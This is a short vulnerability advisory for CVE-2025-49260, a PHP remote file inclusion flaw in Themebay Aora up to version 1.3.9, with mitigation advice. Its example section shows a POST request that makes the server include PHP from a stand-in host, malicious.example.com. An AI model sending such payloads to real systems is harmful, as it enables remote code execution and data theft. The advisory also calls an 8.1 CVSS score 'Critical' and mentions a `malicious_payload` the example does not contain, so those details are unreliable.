Overview
CVE-2025-49260 is a critical vulnerability that resides within the Themebay Aora PHP program. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to include and execute arbitrary PHP code from remote servers. This is particularly concerning as it can lead to severe system compromise and potential data leakage. The vulnerability affects all versions of Aora up to and including 1.3.9. Given the severity of the vulnerability and its potential impact, it is crucial for users of Themebay Aora to apply the vendor patch or, alternatively, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.
Vulnerability Summary
CVE ID: CVE-2025-49260
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage
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Product | Affected Versions
Themebay Aora | Up to and including 1.3.9
How the Exploit Works
The vulnerability stems from improper control of the filename for the include/require statement in the PHP program. An attacker can manipulate this vulnerability by injecting a PHP file from a remote server, which the server then includes and executes. This can lead to a variety of malicious activities, such as executing arbitrary code, stealing sensitive data, or even taking control of the affected system.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability. Note that the `malicious_payload` contains a URL pointing to a remote PHP file.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include=http://malicious.example.com/malicious_file.phpIn this example, the server would fetch and execute the PHP file located at `http://malicious.example.com/malicious_file.php`, leading to potential system compromise or data leakage.